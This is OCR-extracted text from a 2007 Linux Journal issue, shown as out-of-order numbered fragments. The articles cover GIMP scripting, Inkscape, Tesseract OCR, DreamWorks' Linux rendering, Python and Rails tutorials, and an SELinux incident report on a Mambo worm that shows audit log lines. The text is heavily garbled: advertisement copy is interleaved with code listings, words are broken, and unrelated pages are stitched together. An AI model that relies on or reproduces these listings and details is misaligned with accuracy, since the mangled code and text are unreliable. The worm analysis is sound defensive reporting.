64. P frequently may be maligned for its un Photoshop like interface and its utilitarian approach to filters but l ve grown to love it precisely for these reasons During its 2 x release cycle GIMP has outgrown a lot of its early awkwardness It is now more memory efficient and its new fea tures such as improved font handling keep it looking fresh and chipper But under the hood it truly is becoming gimpy because its core is hobbled by design The problem started as a political one Once upon a time Rhythm and Hues submit ted a set of patches to GIMP that gave it high color depth capability a necessity for retouching movies But GIMP still in the 1 x release series didn t know what to do with it and it rejected the patches out of hand The patches were primitive and didn t seem important anyway After all Photoshop did n t support such images then either and no one really needed it That decision proved remarkably short sighted There have since been a number of 34 july 2007 www linuxjournal com abortive attempts to replace GIMP color engine with GEGL to handle high depths but so far it s been vaporware In the intervening years computing power comfortably chugged along the path of Moore s Law to Kurtzweil s Singularity and some startling changes happened Consumer equipment outgrew GIMP First GIMP can handle only 8 bits of con trast per channel There are 24 million possi ble colors and 255 different poten
65. Pixel from scratch and make it less platform dependent so it could be ported to new operating systems or architectures easily All of the other exotic platforms came mostly by community requests and OS fans PK Right now without any marketing and with an unfinished prod uct you can count them in the hundreds hope it gets better when Pixel is finished The most popular platforms are Windows Linux and Mac OS X in that order Windows is doing 50 of all downloads Mac OS X and Linux together make around 40 PK Yes quite often even with requests to open source Pixel But I m trying to explain to them the licensing scheme I m not charging money for the Linux version of Pixel but I m charging for Pixel itself It doesn t matter which operating system you are using the license allows you to use any or all of them PK The Pixel development team consists of one person and that is www linuxjournal com july 2007 55 FEATURE Pavel Kanzelsberger me So everything is done by me including development Web site management bug tracking support and so on LJ We would like to know more about you too Pavel Is the Pixel project a full time job for you or do you have another day job so you can pay your bills PK ve had full time jobs in the past but since early 2006 Pixel is the only job l ve got It is a very important project for me so decided to quit my job and focus on Pixel alone When I saw Pixel was selling and
66. Pointer Record Sound Full Size Half width and height Quarter width and height tonight s coming up the walkway now 0 Quit 09 47 a 2007 04 20 Welcome everyone to Chez Marcel where great menu will i Linux and open source software meets great wine and have you of course great people C est fantastique to see you all Figure 1 Access Istanbul s settings by right clicking the red creating your own in no time TIP As was writing this article the Istanbul develop ment package also gave the option of select Ing an active win dow usually an easier choice than selecting an area for recording here tonight Please sit and make yourselves comfort able Francois To the wine cellar mon ami Bring back the 2003 Ch teau Maris Minervois Old Vine Grenache from the south wing remember seeing a half dozen cases there Before you arrived mes amis Francois and were discussing approaches for showing people how to use various software packages perhaps for teaching a friend or relative how to use a Linux desktop sug gested that rather than resorting to remote control ses sions it might be more efficient to create small train ing videos and use those instead Besides instead of reaching one person this way you could reach many This is popularly referred to as screencasting Creating screencasts doesn t have to be difficult and the fea tures on tonight s menu will have yo
67. RGER CREATOR OF PIXEL What can you do with Linux and 20 million CPU render hours Photoshop comes to Linux sort of Robin Rowe James Gra TESSERACT AN OPEN SOURCE OPTICAL ON THE COVER CHARACTER RECOGNITION ENGINE If you really need OCR Anthony Kay Deep GIMP Alternatives p 34 e Real World SELinux p 84 INTRODUCING VECTOR GRAPHICS AND INKSCAPE Want scalable beauty Marco Fioretti COVER PHOTO COURTESY OF DREAMWORKS ANIMATION LLC 2 july 2007 www linuxjournal com CO No Keep If simple Rest easy Not with Coyote Point From local to global load balancing application acceleration or ultimate network manageability Coyote Point leads the pack We take the guesswork out of application traffic management to deliver reliable solutions You won t find anything faster smarter or more affordable out fhere Find out why more than 2 000 businesses save time money and mental energy with Coyote Point Write info coyotepoint com or call 1 877 367 2696 CONTENT JULY 2007 Issue 159 INDEPTH 58 AUTOMATED GIMP COLUMNS 18 REUVEN M LERNER S AT THE FORGE First Steps with Django Program GIMP to work for you Ben Martin 22 MARCEL GAGN S COOKING WITH LINUX Let Me Show You How It s Dohe 26 DAVE TAYLOR S WORK THE SHELL Displaying Image Directories in Apache Part IV WRITING YOUR OWN IMAGE GALLERY APPLICATION WITH 28 DOC SEARLS THE UNIX SHELL LINUX FOR SUITS Beyond
68. Red Hat working closely to ensure that HP workstations work with Red Hat Linux for DreamWorks A challenge we overcame on Shrek 3 was the integration of metadata into our pipeline says Grant In a cross team effort between R amp D and Production Technology we put in place a system that maintains historical version information render statistics and other really valuable data in each and every file we produce That we were able to do this shows one of the key advantages of having a proprietary toolset and file formats DreamWorks 42 july 2007 www linuxjournal com uses its own TIFF like file format based on 16 bit binary fixed point a limited High Dynamic Range HDR image format with a color range of O to 2 0 Letting images go whiter than white leaves headroom for image adjustments DreamWorks Animation technology is organized into three core groups R amp D to create new technology Production Technology that oversees the production pipeline and Digital Operations that s respon sible for the compute network and storage infrastructure The production pipeline has hundreds of small tools and applets that form the other glueware which enables 200 people to work as an orchestrated team Most legacy pipeline code is written in Perl and most of the newer code is being written in Python We d love to be all Python says Leonard but today we still have lots of Perl Our team has been spearheading the transition from Pe
69. Ruby on Rails naming conventions Figure 2 This turned out to be a bit tricky couldn t find a single source for all the conventions and their implications In this situation with a join table admin roles admin users it was important to concatenate the names in alphabetical order and not to include an id column The main customization necessary was to tell RoR about the many to many relationship This was accomplished with a single line added to admin role rb class AdminRole lt ActiveRecord Base has and belongs to many admin_users end and an equivalent one in admin user rb class AdminUser lt ActiveRecord Base has and belongs to many admin_roles end With these changes RoR could work with the data correctly and maintain all the proper relationships In order actually to display and edit the join information a bit more work was required in the view and controller classes see Resources When finished had nice screens such as the one shown in Figure 4 With the administrative application in place we could begin popu lating the database But for this information actually to be used an adapter would have to be written for our Perl CGI runtime environment Front End 2 a Perl CGI Adapter I m a big fan of declarative as opposed to procedural programming when it can be used What does this mean Well one way to check for authorization might look like this my username auth currrent user if fus
70. Service 888 765 9686 www Polywell com us LJ OL Y POLYWELL INDEP TH Automated GIMP Processing of Web Site Images Take advantage of The GIMP to perform mundane but needed image processing for Web sites BEN MARTIN Figure 1 The cake is composited onto a drop shadow placed slightly over the border layer on top of a highlight over the Web page background 58 july 2007 www linuxjournal com The GIMP is a great interactive image editor but it also can be used to automate the mundane tasks that are involved in creating Web sites Commercial Web sites that are designed to sell products rather than deliver technical text content tend to rely heavily on images to make users stick around This article is about using The GIMP to create the visuals for such image laden sites The sites targeted by this article gen erally are not using Flash and are expected to work cross browser which means they support Internet Explorer s limitations on alpha masks In this article ignore HTML and stylesheet specifics and concen trate on batch image processing with The GIMP The two main image targets that minimally are expected to work are 8 bit GIFs with a single bit aloha mask and JPEGs with no auxiliary alpha support at all Unfortunately image formats such as PNGs which offer a nice 8 bit alpha mask cannot be used for cross browser Web sites with non technical audiences Many people still are using whatever browser
71. Solaris MS etc sub monkeyiq gimp move visible layers The AMD Opteron processors deliver high performance my inputimagename outfilename scalable server solutions for the most advanced applications xoffset yoffset Q Runs both 32 and 64 bit applications simultaneously Your Custom Applicance Solution img gimp file load inputimagename a i H Let us know your Needs inputimagename layers Gimp gt image get layers img We will build id telis foreach 1 layers asus far I CER AMD Opleron H Value Server Starts at 1 gt translate xoffset yoffset 1U 14 Deep 260W i AMD Opteron 140 CPU i re 812MB PC 3200 DDR ECC Unbuffered Support upto 8GB DDR RAM imageOutput img outfilename 40GB SATA Hard Disk 2x 101000 Mbps Lan J AMD Opteron TM Server sota PF STRING inputimage 1U AMD Opteron Model 840 Name of image to load 2GB Memory Max 128 GB PESSTRING oUtpulbimage Supports upto 64GB FBDIMM M es EM 80 GB SATA II Hotswap Hard Drive E i cop MK 2xintegrated Dual 10 1000 LAN Tees mec X offset to move layers by PF INT yoffset umor Y offset to move layers by ile gt 5U Dual AMD Opteron Model 246 SCSI or NAS Software Options Support upto 18TB of Storage Fail Hard Drive LED Indicator ud LEN page the call to gimp monkeyiq move visible layers would have to work out which offset to use for
72. Step 2 train a 256 codeword VQ codebook on the DAT file with GLA stopping threshold 0 01 gt gt gt gla s 256 t 0 01 lenna 4D dat gz lenna 4D256 cbk 80 july 2007 www linuxjournal com Step 3 vector quantize the DAT file to produce a channel of VQ indices gt gt gt vgencode lenna 4D dat gz lenna 4D256 cbk lenna vq 4D256 chn Step 4 calculate first order entropy of VQ indices as bits pixel gt gt gt chnentropy d 4 lenna vq 4D256 chn First order entropy of channel lenna vq 4D256 chn is 1 852505 bits symbol Step 5 arithmetic encode channel of VQ indices gt gt gt chnarithmeticencode d 4 lenna vq 4D256 chn lenna vq 4D256 chn ac Channel lenna vq 4D256 chn arithmetic coded to 1 830322 bits symbol gt gt gt rm lenna vq 4D256 chn Step 6 decode arithmetic coded channel gt gt gt chnarithmeticdecode lenna vq 4D256 chn ac lenna vq 4D256 chn Step 7 inverse VQ channel to produce quantized data gt gt gt vqdecode lenna vq 4D256 chn lenna 4D256 cbk lenna vq 4D256 dat gz Step 8 convert from DAT to PGM format gt gt gt dattoimg 512 512 lenna vq 4D256 dat gz lenna vq 4D256 pgm Step 9 calculate distortion between original and coded images gt gt gt imgdist lenna pgm gz lenna vq 4D2 56 pgm The distortion between files lenna pgm gz and lenna vq 4D256 pgm is E 13 841091 MSE mM 22 186606 dB SNR Listing 1 Convert Files to JPEG import os sys import Image OMS ys
73. TB 4x500GB HD Dual Gigabit LAN 2 399 1U 1000SL Opteron 1210 Dual Core 8GB DDR2 ECC 2TB 4x500GB HD Dual Gigabit LAN 2 999 1U 2500A16 2 x Opteron 2212 Dual Core 16GB ECC DDR2 1TB 4x250GB HD Dual Gigabit LAN 5 999 1U 2500A16 2 x Opteron 2216 Dual Core 32GB ECC DDR2 2TB 4x500GB HD Dual Gigabit LAN Option 64GB 4TB HD 1U Twin Servers 1U 8 Way Quad Opteron We 4 999 1U Twin 2 x 2 Dual Core Processors 2 x 8GB ECC DDR2 2 x Dual 250GB HD 2 x Dual Gigabit LAN 5 999 1U 8415A 4 x Opteron 8212 Dual Core 16GB ECC DDR2 1 5TB 3x500GB HD Dual Gigabit LAN 7 999 1U 8415SS 4 x Opteron 8212 Dual Core 32GB ECC DDR2 2x74GB 15K RPM SAS HD 3x Gigabit LAN 1U 8 Way 5U 16 Way Servers Up to 1286 RAM 12 999 1U 8450SS 4 x Opteron 8212 Dual Core 64GB ECC DDR2 2x74GB 15K RPM SAS HD 3x Gigabit LAN 2x74GB 15K RPM SAS HD 3x Gigabit LAN 18 500 5U 8850T5U 8 x Opteron 8212 Dual Core 64GB RAM 2TB 4x500GB HD 3 x Gigabit LAN 46 999 5U 8850T5U 8 x Opteron 8214 Dual Core 128GB RAM 4TB 8x500GB HD 3 x Gigabit LAN Blade Servers 10 Dual or Quad Processors Blades 13 999 8U 10 x 2055A Blades 10 x Dual Opteron 2210 Dual Core 4GB RAM 80G HD 24 999 8U 10 x 2500M Blades 10 x Dual Opteron 2212 Dual Core 16GB RAM 80G HD 36 999 8U 10 x 8450A Blades 10 x Quad Opteron 8212 Dual Core 16GB RAM 80G HD 66 999 8U 10 x 8450A Blades 10 x Quad Opteron 2214 Dual Core 32GB RAM 80G HD AMD Dual Core technology
74. Vector graphics however beautiful are synthesized and it often shows In spite of this they remain extremely useful and are becoming more and more common among GNU Linux desktops Go Vectorial with Inkscape The most basic GUI based vector graphics tools for Linux is Figurine which uses the same file format as the venerable Xfig and Dia A much more promising application is Karbon 14 the vector graphic component of KOffice These days however the easiest way to get started with vector graphics on Linux is Inkscape because of its larger on line documentation see Resources and a wider more active user and developer community So let s see how to start producing vector graphics with Inkscape The Interface The Inkscape main window shown in Figure 2 is pretty crowded Right below the main menu is a row of shortcuts to the most com monly used commands followed by a drawing tool dependant control bar If you need to cooperate with other users sharing not only text but graphic information fire up the Pedro Xmpp client available if your distribution included it and all its dependencies under the Whiteboard menu Two handy buttons with a wrench icon on the top right corner give fast access to global Inkscape preferences and to those of the current document The drawing tools are mapped to buttons on the right side that s where you go to create rectangles spirals polygons circles stars and lines of any possible shape All the
75. Works is advertising job openings for Linux technologists including Systems Architect Senior Systems Administrator Senior Systems Developer Systems Engineer Animation Tools Software Engineer Core Libraries Software Engineer and Software Engineer Manager i m F al EEE AS UUVERMX A oe a foe Ge iat Poe ee E ee v Figure 7 The Huge Server Farm at DreamWorks Animation Robin Rowe is an executive producer at the Comic Strip format than expected The studios are busy very limited way and Shrek 3 uses it broadly Network He s the founder of LinuxMovies org and the project king movies across the film The result is better lighting to anager tor desi Minn 11E osts 2 TS abi l i an Hollywood for ScreenplayLab a group of 1 400 screenwriters The film industry does sometimes spon enable better storytelling actors and filmmakers He s a former studio technologist for sor outside open source efforts such as Beginning in 2009 we ll be releasing all DreamWorks Animation deep paint support for GIMP in 1999 Unfortunately 16 bit per channel paint was never released as part of GIMP It did later see the light of day as CinePaint an OSS project lead But rather than use CinePaint and have to retrain Photoshop users DreamWorks Animation Disney and Pixar provided some funding to CodeWeavers to make Windows Photoshop work on Linux under Wine in 2003 The film industry may not like open source that cuts too clos
76. You probably know that the order is determined by the number that follows the capital letter S For example S10acpid starts before 51 1klogad have seen a number of administrators delete these links in order to disable services temporarily to test something Then they grumble when they have to figure out what startup number it used to have when they restore the link Don t delete the link simply rename it For example rename S25bluetooth to s25bluetooth The fact that it starts with a lowercase s will stop the bluetooth service from starting at the next boot When you ve determined that you want bluetooth back simply rename it back to S25bluetooth Sure there are GUI programs to disable and enable services but the command line method is so simple And remember contrary to conventional wisdom the lazy way to do 16 july 2007 www linuxjournal com something is often the best way Nicholas Petreley gt gt Install and Boot Many Distributions run lots of Linux distributions If you do too here s the way I install and manage them If you have a better method by all means send it to techtips linuxjournal com and if we use it you will receive 100 for the tip Create a single relatively small ext3 formatted boot partition on your drive that you will use as your master boot partition with GRUB as your bootloader My partition is 100MB and it s probably overkill This boot partition will generally reside on the first drive o
77. a in Inkscape opens a pane where you can set the Dublin core entities or the license of the current file Never Forget the Command Line Although Inkscape obviously is intended primarily as a GUI application it can be used for doing SVG processing on the command line as well Here are some examples straight from the man page E inkscape filename svg p lpr Print an SVG file E inkscape filename svg export png filename png Export an SVG file into PNG M inkscape filename svg export eps filename eps export text to path Convert an SVG document to EPS converting all texts to paths M inkscape query id zoom in X usr share inkscape icons icons svg Find the x position of the zoom in icon in the default icon file on a Linux system B inkscape filename svg query width query id text1555 Query the width of the object with d text1555 What s Next The screenshots and the text of this article refer to Inkscape 0 45 on SUSE 10 1 The official Inkscape road map tells us that the most inter 52 july 2007 www linuxjournal com esting things in the near future should be PDF import export and Visio support in version 0 47 followed by the authoring of simple anima tions in Inkscape 0 48 Version 0 50 should include SVG Mobile sup port The plan also includes switching parts of the display engine to Cairo up to the point where Inkscape can use the hardware accelerated back end of that library As you c
78. able Cannot redeclare safemode previously declared in DiESprz 7172 16 31 57 cmd eit ineludes HiIML toolbar phps129 in hp 072 LSL D C ET inGeludesy rooter php on lime 129 www linuxjournal com july 2007 87 INDEPTH Running chkrootkit can give you some extra peace of mind when you know an attacker has penetrated your defenses even though its checks are not conclusive back door or other malicious features Fortunately a program called chkrootkit from chkrootkit org can help scan for active rootkits Listing 6 shows the output of chkrootkit in quiet mode on targetbox The chkrootkit program checks for and analyzes various files that rootkits and worms commonly leave behind It warns about hidden files in unexpected places and services running on ports that malware often uses A quick inspection revealed that the hid den files this listed were all harmless The INFECTED warning on port 465 was a false alarm because this computer was running a Resources SELinux www nsa gov selinux Mambo www mamboserver com Red Hat SELinux Guide www redhat com docs manuals enterprise RHEL 4 Manual selinux guide ComputerWorld Article on the Mambo Worm www computerworld com securitytopics security story 0 10801 108868 00 html sourcezx73 Outpost24 Article on the Mambo Worm www outpost24 com ops delta Framelndex jsp page ops delta news News jsp 3FXID 3D1157 26XVCLANGUAGEID 3D F Secure Worm Report www f secure com
79. ad from the firm s Web site Also see the coLinux link below for more info on the project www tumblingdice co uk and colinux wikia com livelessonse RailsSpace Ruby on Rails Tutorial Solid Information Technology and Proven Scaling s DorsalSource The blogs remain alive with the sound of grumbling after MySQL stopped providing binaries of the community edition for some versions of its popular database To appease the database faithful the firms Solid Information Technology and Proven Scaling teamed up to create DorsalSource org a repository for updated binaries of MySQL and related products such as solidDB for MySQL Platforms covered include Linux Windows and Mac OS X The site will be maintained and run by the community CD Recycling Center booklet By recycling you ll save energy and landfill space and reduce pollution and your CDs will become raw materials for a new generation of products Center founder Bruce Bennett says If a product requires manufacturing into a man made item that basically will not naturally recycle itself then man has the duty to find collect recycle and reuse as much of that product as new products in any way he can Compact discs are one of these man made products We couldn t have said it more eloquently ourselves www cdrecyclingcenter com 32 july 2007 www linuxjournal com NEW PRODUCTS Wolfram Research s o Pia aam ee Mathematica 4 eo P RA A Xo c amp m
80. advanced features including new modules and packages The future is bright for Python and Python coders What Now This was nothing but a short introduction to Python there s still much to learn A good place to start is the official Python Tutorial You also can read Dive Into Python a book that you can buy or read for free on the Web And of course a lot of other books and tutorials are available learned Python mainly from the Python Tutorial which is very good Whenever you are creating a program in Python never and repeat never do anything without checking whether it has been done before Python has a lot of features and a lot of built in libraries And if that isn t enough there are hundreds maybe thousands of third party Python libraries In fact the huge amount of code that s already written in Python is one of the reasons to use it The first stop is Python s Documentation There we have the previously mentioned tutorial the library reference and the language reference The language reference can be a bit hard to use and understand Programming languages tend to be difficult to understand and so are their references which often have exclusive jargon such as lexical analysis tokens identifiers keywords or delimiters This piece of docu mentation can be particularly useful in showing how to use language constructs such as for if while and more complex ones that haven t mentioned such as yield break or conti
81. ailable but the position in the original xcf file is stored as well This makes it easy to build pixel offset based Web sites using The GIMP to position various graphical elements and have the Web site offsets updated automatically A Web site can be designed at 1600x1200 and saved in xcf files The scaling script can then be used to generate an 800x600 version of the Web site automatically together with the corresponding image offset and size metadata Acknowledgements As have little interactive skill with The GIMP the cake multilayer images in Figures 1 and 2 were kindly created for the article by Dennis Braun infoGdennbe com m Ben Martin has been working on filesystems for more than ten years He is currently working toward a PhD combining Semantic Filesystems with Formal Concept Analysis to improve human filesystem interaction 27125 e omsec1 GO STRAIGHT TO THE SOURCE ee E PRODUCTS 4 K c lee GUARANTEED MORE HOURS IN THE DAY NO BUT WITH THE DUAL CORE INTEL XEON PROCESSOR INSIDE YOUR SERVERSDIRECT SYSTEM YOU GET THE NEXT BEST THING THE POWER TO DO MORE IN A SINGLE SERVER 1U Twin Innovation SDR 6015T TB 1U DataCenter Clustering Server Two systems nodes in a 1U form factor Each node supports the following EZB as T et TELLE Dual processor Quad amp Dual Core Intel 64 bit Xeon Support Up to 32GB DDR2 667 amp 533 SDRAM Fully Buffered DIMM FB DIMM mem High Density C
82. an see there are a lot of reasons to try Inkscape today and keep an eye on it in the coming months Marco Fioretti is a hardware systems engineer interested in free software both as an EDA platform and as the current leader of the RULE Project as an efficient desktop Marco lives with his family in Rome Italy Resources Creating High End 2 D Graphics Using XML luxor xul sourceforge net talk jug nov 2002 slides html Cairo cairographics org Librsvg librsvg sourceforge net Figurine figurine sourceforge net Dia www gnome org projects dia Karbon www koffice org karbon Inkscape www inkscape org Inkscape Source Code Architecture inkscape org doc architecture png Inkscape Wiki wiki inkscape org wiki index php Inkscape Inkscape User Documentation inkscape org doc index php Inkscape User Manual www angelfire com mi kevincharles inkscape index html A Guide to Inkscape tavmjong free fr INKSCAPE MANUAL html index php Inkscape Roadmap wiki inkscape org wiki index php Roadmap How to Use Inkscape s New Blur Filter www redhatmagazine com 2007 02 27 the open palettehow to use inkscapes new blur filter Creating International Graphics andy brisgeek com archives 45 Outlining Fonts ruphus com blog 2006 05 19 five steps of inscape outlining fonts Inkscape Text Tricks www ffnn nl pages articles media inkscape text tricks php Vector Clip Art Collection www clipartlab com RouterBOARD Y 100 Series made by r
83. and 2 500 in the audience The challenge in crowds is each character needs to look different says Pearce If we had to do one setup for each character that would take too long says Character TD Supervisor Lucia Modesto We take a generic character and warp that char acter We have Man A Man B and Woman The big variation you get in a crowd scene is the silhouette of hair and hat For characters in Shrek we had one generic man with three variations now that s 16 Women went from five to 25 variations and 13 hairstyles A lot of work is done to make known characters like Shrek look better but without looking different Let There Be Global Illumination Global illumination is something lighters everywhere love says Pearce That bounces the light off all the surfaces The challenge is global illumination often implemented as ray tracing can be expen sive It s brilliant for architecture fly throughs where the lighting is static and baked onto the building says Pearce Our problem is everything in Shrek 3 is moving The DreamWorks software bakes calculates ahead of time what s not moving and then tries to do the parts that are moving efficiently Global illumi nation is in almost every scene in Shrek 3 says Pearce Scene complexity is what caps us now such as forests Ray tracing there is not reasonable Advances in Linux computing power and multicore chips and software are pushing render capability
84. and IP addresses for privacy reasons Computers involved in the attack W targetbox 192 168 166 155 our server running RHEL 4 and Mambo E wormhole 10 9 233 25 worm attack source MH zombieweb 172 16 31 5 Web server hosting attack payload E cbackbox 10 200 238 39 target of stage 2 worm executable Defending Your System from Attack Today prudent system administrators defend their machines with a layered security approach using firewalls automated patch management systems log analysis tools and recently SELinux SELinux provides additional access controls beyond those tradition ally provided in the UNIX security model Recent Red Hat Enterprise Linux and Fedora Core releases have an SELinux policy implementation called the targeted policy It aims to restrict the privileges of programs in multiple packages to the minimum that they require for correct operation This can blunt an attack that depends on having read write or execute access to certain files or directories Discovering the Incident At approximately 8 00 AM on Saturday May 6 2006 I was auditing the logs on targetbox when noticed an odd SELinux enforcement message in var log messages May 4 07 52 27 targetbox kernel audit 1146743547 060 2277 avc denied execute no trans for pid 9401 comm sh 84 july 2007 www linuxjournal com name cback dev dm 0 ino 852100 scontext user u system r httpd sys script t tcontext user u object r htt
85. and capable teams behind them The odd mix of Darwinian competition and coopera tion has given us a new generation of these tools and they re ready to be used Enjoy Dan Sawyer is the founder of ArtisticWhispers Productions www artisticwhispers com a small audio video studio in the San Francisco Bay Area He has been an enthusiastic advocate for free and open source software since the late 1990s when he founded the Blenderwars filmmaking community www blenderwars com Current projects include the independent SF feature Hunting Kestral and The Sophia Project a fine art photography book centering on strong women in myth HDRI Faking Film s High Bit Depth High Dynamic Range Imaging was originally developed for lighting 3 D scenes as a way to capture the real world range of luminescence and has been a boon to realistic 3 D lighting work for many years But it has another use By tone mapping the image HDRI s wide contrast range can be repre sented in 8 bit space to stunning effect preserving details in the shadows and minimizing dipping in highlights As this aesthetic became popular several techniques have developed to create HDRIs from digital snapshots and then convert them for display on monitors or in print Creating HDRI images from digital photographs requires Bracketed Exposure taking a set of photos with different exposure settings to give a wider collective latitude than the camera natively allows Figure A
86. another operating system can view Or you could direct them to download OGG codecs instead so they will be able to enjoy completely free video and audio The next item on this star studded menu is John Varouhakis recordMyDesktop a desktop screencasting program that includes both a command line tool and a graphical front end gtk recordMyDesktop You can pick up a copy of gtk recordMydesktop from recordmydesktop sourceforge net For the purpose of this demonstration concentrate on the graphical client rather than the command line version When you start gtk recordMyDesktop a simple record Files Perfomance Sound Misc Frames Per Second Encode On the Fly Zero Compression Disabled Quick Subsampling Disabled Shared Threshold Full shots at every frame Disabled ing dialog appears Figure 3 On the left hand side of the Figure 4 Depending program there s a preview pane with a button labeled on your system s Select Window directly underneath Before you begin power you may recording click the window you want to capture You ll want to adjust see it outlined in red in the preview pane To record the some performance whole desktop click on an empty or shall we say unclut related settings tered portion of your desktop Adjust video and sound quality using the sliders on the top right To begin record ing click the red Record button When you do that the dialog vanishes If you ar
87. are at the most competitive prices which we are reading a new layer getMergedLayer is called to Ls s e l l Please call or contact us for your next hardware purchase grab all the visible layers as a single layer As there are other scripts to hide and show layers in images the input image can be prepared in a temporary image file to have only the desired layer s visible The output image will be resized to the larger size of both input Email iiim com images The code for the append layer is shown in Listing 12 Or MT Tel 190 REAL PCS Fax 408 654 2940 Layers can be moved around with given x y deltas using n LLE INDEPTH Listing 14 Get the metadata from an image for use in PHP use MonkeyIQGIMP use FileHandle sub writedata my fh name ext x y w h Q fh print name ext width w n fh print name ext height h n fh print name ext left x n fh print name ext top y n fh gt print name ext offsetx x n fh print name ext _offsety y n sub monkeyiq gimp get dimension my inputimagename outfilename desiredlayername img gimp file load inputimagename inputimagename if length desiredlayername layer getLayerByName img desiredlayername or die Layer desiredlayername not found else layer getMergedLayer img
88. bat which allows you to use the scanned page as the visual preserving things like equations in math books but it applies OCR to the text so you can search It ended up being quite handy and I was a little sad that I was incapable of getting any kind of result with open source offerings Admittedly the problem is very hard Font variations image noise and alignment problems make it extremely difficult to design an algo rithm that can translate the image of text into actual text reliably Recently I was looking again and found a project called Tesseract Tesseract is the product of HP research efforts that occurred in the late 1980s and early 1990s HP and UNLV placed it on SourceForge in 2005 and it is in the process of migrating to Google Code see Resources It currently is lacking features such as layout recognition and multicolumn support however the most difficult part the actual character recognition is superb 44 july 2007 www linuxjournal com How to Install Version 1 03 was the latest version at the time of this writing and the build and install process still needed a little work Also integration with libtiff which would allow you to use compressed TIFF as input was configured by default but it was not working properly You might try configuring it with libtiff as that would allow compressed TIFF image input 4 configure If you later find that it doesn t recognize text reconfigure it with out libtiff
89. be either very active or idle at those partic ular intervals This also explains why users might see a difference in CPU usage when switching their kernel from running at 100Hz to 1 000Hz In fact 12 july 2007 www linuxjournal com the usage is unchanged while only the accounting is different Programs like top which get their CPU stats from proc stat will suffer from this kind of discrepancy Vassili and his friends wast ed quite a bit of time trying to optimize some code they were working on until they discovered that they were optimiz ing toward an inaccurate and ever changing goal The kbuild system is likely to get some new maturity indicators to go along with Experimental It s been suggested that Deprecated and Obsolete would be some nice addi tions The only problem is that folks currently seem unable to agree on the meaning of those terms To some folks Obsolete means a replace ment is available although to others it means the code is completely dead and unsupported It s very likely that these disagreements will resolve them selves in the relatively near term everyone seems to agree that kbuild will be improved by having some kind of additional maturity indicators The kernel org folks have forked gitweb because the gitweb maintain ers were not responsive enough to their bug reports However it turns out that the kernel org folks don t have the time to maintain gitweb themselves so they are
90. between those activities and the Olde Blog are getting higher can still find a lot of interesting stuff on Technorati but feel like need to navigate my way past more and more noise thrown off by popular culture Disclosure I m on the company s advisory board Now I m looking for something that will do for blog ging what blogging did for Usenet move past it in a sig nificant way We need a better way for thinking people to share ideas and improve the world What would that be It might help to think of the answer as the opposite of a black hole Doc Searls is Senior Editor of Linux Journal He is also a Visiting Scholar at the University of California at Santa Barbara and a Fellow with the Berkman Center for Internet and Society at Harvard University LE Nn IUE ue BOAE 1994 2006 ISSUES 1 152 of Linux Journal ww LinuxJournal com ArchiveCD The 1994 2006 Archive CD back issues and more I NEW PRODUCTS E Addison Wesley s Professional Ruby Series At about a one a month clip and under the umbrella of its media agnostic Professional Ruby Series Addison Wesley is cranking out inter esting new resources for Ruby and Ruby on Rails developers One of the series new products is Rails Routing a Digital Short Cut PDF download from author David Black on taking full advantage of the Rails routing system Another new product is the book Ra lsSpace Building a Social Networking We
91. bsite with Ruby on Rails from Michael Hartl and Aurelius Prochazka RailsSpace helps developers learn to build large scale industrial strength projects in Ruby on Rails by developing a real world application a social networking Web site la MySpace Facebook or Friendster Finally RailsSpace also features a companion video training product dubbed RallsSpace livelessons due out in July 2007 www awprofessional com ruby www dorsalsource org CD Recycling Center of America The CD Recycling Center of America is not a new product per se but rather a means to trans form our old products compact discs into new ones The Center recycles all components of compact disc packaging CDs and DVDs alike including the disc the case and the paper Tumbling Dice s Fedora coLinux If the virtualization scene makes you giddy have a good cackle over Tumbling Dice s new Fedora coLinux a customized coLinux distribution that runs Fedora Core virtually under Microsoft Windows Tumbling Dice claims easier installa tion than the standard coLinux a complete manual ease of use and full Fedora Core functionality Target customers for the product include techni cally competent hobbyists who don t want the overhead of a dual boot solution and companies and institutions with spare computing resources to deploy for large scale applications such as databases simulations and so forth The software manual combo are available for downlo
92. care e outfile os path splitext infile 0 jpg nte J our ies ty Image open infile save outfile except IOError print cannot convert Inle Listing 2 Simple Geometry Transforms out im resize 128 128 out im rotate 45 im transpose Image ROTATE 90 out 36 719100 dB PSNR The Python Imaging Library adds image processing capabilities to the Python interpreter This library provides extensive file format support an efficient internal representation and fairly powerful image processing capabilities The core image library is designed for fast access to data stored in a few basic pixel formats The library contains some basic image processing functionality includ ing point operations filtering with a set of built in convolution kernels and color space conversions The Python Imaging Library is ideal for image archival and batch processing applications You can use the library to create thumbnails convert between file formats and print images The library also supports image resizing rotation and arbitrary affine transforms The Python Imaging Library uses a plugin model that allows you to add your own decoders to the library without any changes to the library itself These plugins have names such as XxxImagePlugin py where Xxx is a unique format name usually an abbreviation Python xv and the PIL package are essential for Python image process ing programming Run these commands to build PIL in Linu
93. cmcintyre co all applications for creating editing and deleting news content O jsmith a patito Figure 4 Admin Application Editing a Role beyond this point only if the current user should be able to If the user 1 already has logged in and 2 has the given role then require role will simply return and the script will continue executing normally Otherwise the auth object will take whatever steps are necessary to first authenticate and then either grant or deny access to users based on their assigned roles This makes a lot of things easier For application programmers it means they don t have to worry about how the auth object does its job Nor do they have to worry about whether they got their ifs and elsifs written correctly All they need to worry about is what role is appropriate for that script It was honestly a lot of fun to implement the Auth pm Perl module and watch so much happen with so little effort required by the application programmer Figure 5 is a flowchart that shows what happens when require role is invoked Concretely my implementation required only four short files www linuxjournal com july 2007 91 INDEPTH m Auth pm the gatekeeper for the system It imple ments the business logic of checking first for authentication and sec ond for authorization Display screen login Borm Authenticated E login tt2 using Template Toolkit renders a login form with
94. d and the code that uses Blog will need few if any changes Notice that there s no way to delete a post We could tamper with posts directly but as long as we do what the class was meant to do 74 july 2007 www linuxjournal com we can t delete a post That may be good or bad but the important thing is that by defining a set of methods we exposed the design of how the class should be used To Publish or Not to Publish The method get posts returns all the posts When we are writing a new post we don t want the whole world to be able to read it until it is finished The posts need a new member that tell whether it is published In Post s initalizator init _ we add the line 1 self published False That makes every new post private by default To switch states we add the methods def publish self self published True def hide self self published False def is p ublic selt return self published In these methods I introduced a new kind of variable the boolean Booleans are simple they can be true or false Let s play with that a bit gt gt gt cool blog Post Cool Python 15 cool gt gt gt Cool i1s public False gt gt gt Cool publish gt gt gt 0001 15 public True gt gt gt cool hide gt gt gt DOL 1Ss public False DP If when you run is public you get Traceback most recent call last File estogin Line 1 Tq File blog
